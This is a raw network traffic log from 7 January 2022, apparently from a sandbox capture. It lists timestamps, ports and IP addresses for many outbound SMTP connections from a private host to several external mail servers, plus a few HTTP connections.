Jan 7, 2022 15:44:06.693957090 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693972111 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693988085 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694072962 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694087982 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694103956 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694120884 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694190025 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694206953 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694222927 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694312096 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694329977 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694346905 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694430113 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694447041 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694463015 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694479942 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694545984 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694586992 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694600105 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694617033 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694715023 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694730043 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694792032 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694808960 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694824934 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694951057 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694967985 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694982052 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.694998026 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695014954 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695072889 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695089102 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695106030 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695233107 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695250034 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695266008 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695277929 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695349932 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695394039 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695410967 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695467949 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695508957 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695524931 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695594072 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695610046 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695626020 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695641994 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695722103 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695736885 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695754051 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.695770979 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.703901052 CET	25	50003	104.47.18.74	192.168.2.6
Jan 7, 2022 15:44:06.704042912 CET	50003	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:44:06.729857922 CET	25	50003	104.47.18.74	192.168.2.6
Jan 7, 2022 15:44:06.730001926 CET	50003	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:44:06.735135078 CET	50004	25	192.168.2.6	51.81.57.58
Jan 7, 2022 15:44:06.756767988 CET	25	50003	104.47.18.74	192.168.2.6
Jan 7, 2022 15:44:06.756939888 CET	50003	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:44:06.761034012 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.761080027 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.761099100 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.761208057 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.761358023 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.761884928 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.761979103 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.762001038 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.762090921 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.762152910 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.762223005 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.762223005 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.762290001 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.762291908 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.762356997 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.762675047 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.762742996 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.762749910 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.762816906 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.762851954 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.762921095 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.762923956 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.762989044 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.762994051 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.763029099 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.763082981 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.763103008 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.763156891 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.763226032 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.763273954 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.763329029 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.763334990 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.763405085 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.763473988 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.763505936 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.763566017 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.763583899 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.783338070 CET	25	50003	104.47.18.74	192.168.2.6
Jan 7, 2022 15:44:06.783472061 CET	50003	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:44:06.783504963 CET	50003	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:44:06.809077978 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:06.809154987 CET	25	50003	104.47.18.74	192.168.2.6
Jan 7, 2022 15:44:06.809190989 CET	50002	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:06.809257984 CET	50003	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:44:06.809425116 CET	25	50003	104.47.18.74	192.168.2.6
Jan 7, 2022 15:44:06.809454918 CET	25	50003	104.47.18.74	192.168.2.6
Jan 7, 2022 15:44:06.809495926 CET	50003	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:44:06.809540987 CET	50003	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:44:06.835804939 CET	25	50004	51.81.57.58	192.168.2.6
Jan 7, 2022 15:44:06.835915089 CET	50004	25	192.168.2.6	51.81.57.58
Jan 7, 2022 15:44:06.949748993 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.949850082 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.950042009 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.950069904 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.950090885 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.950125933 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.950158119 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.950176001 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.950177908 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.950201988 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.950259924 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.950275898 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.950299978 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.950395107 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.950459003 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.950521946 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.950601101 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.950793982 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.950819016 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.950839996 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.950866938 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.950887918 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.950905085 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.951040983 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.951067924 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.951096058 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.951121092 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.951162100 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.951184034 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.951287985 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.951379061 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.951380968 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.951446056 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.951575994 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.951735973 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.951750040 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.951823950 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.951828003 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.951849937 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.951935053 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.951973915 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.951977015 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952070951 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952085018 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.952120066 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.952168941 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.952198029 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952272892 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.952389956 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952414036 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952435017 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952486038 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.952502966 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.952518940 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.952611923 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952636003 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952660084 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952708006 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.952727079 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.952744007 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.952877045 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952917099 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952938080 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.952970028 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.953052044 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.953064919 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.953087091 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.953140974 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.953146935 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.953172922 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.953217983 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.953603983 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.953628063 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.953649998 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.953671932 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.953680038 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.953710079 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.953732014 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.953748941 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.953790903 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.953830957 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.953861952 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.960603952 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:06.987116098 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:06.987231970 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.007613897 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.014938116 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.015079975 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.042594910 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.044939041 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.078530073 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.105695963 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.114366055 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:07.114511013 CET	50002	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:07.132700920 CET	49990	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:07.138806105 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.138868093 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.138895988 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139022112 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139024973 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139054060 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139085054 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139081955 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139110088 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139113903 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139130116 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139137030 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139157057 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139163017 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139225960 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139256954 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139343023 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139372110 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139408112 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139431000 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139457941 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139640093 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139667988 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139693022 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139719009 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139748096 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139791965 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139802933 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139832020 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.139884949 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.139909983 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.140186071 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.140213966 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.140239954 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.140285969 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.140311956 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.140330076 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.140467882 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.140495062 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.140522003 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.140543938 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.140670061 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.140690088 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.148184061 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.148267984 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.148618937 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.148742914 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.148822069 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.148905039 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.148983002 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.167157888 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.244438887 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.276926041 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.313427925 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:07.313740969 CET	50002	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:07.320100069 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.327760935 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.327802896 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.327831984 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.327929974 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.327986956 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.328171015 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.328200102 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.328248024 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.328272104 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.328309059 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.328336954 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.328372955 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.328397989 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.328522921 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.328711987 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.328738928 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.328767061 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.328983068 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.329009056 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.329272032 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.329298019 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.329324961 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.329514980 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.329541922 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.329567909 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.329747915 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.329777002 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.329880953 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.329909086 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330041885 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330070972 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330157995 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330187082 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330359936 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330461025 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330549002 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330578089 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330728054 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330809116 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330899954 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.330981970 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.331129074 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.331159115 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.331252098 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.331280947 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.331368923 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.331603050 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.331631899 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.331659079 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.331741095 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.331825972 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.331938982 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.335726023 CET	49966	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:44:07.337312937 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.337342978 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.337368965 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.337395906 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.337470055 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.337543964 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.337574005 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.337971926 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.338825941 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.338851929 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.350883007 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.373598099 CET	50006	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:07.420063972 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.420202971 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.446783066 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.447402954 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.447623014 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.448173046 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.474944115 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.474987984 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.475014925 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.475043058 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.475066900 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.475111008 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.475172997 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.475193024 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.475208044 CET	50005	25	192.168.2.6	108.177.119.26
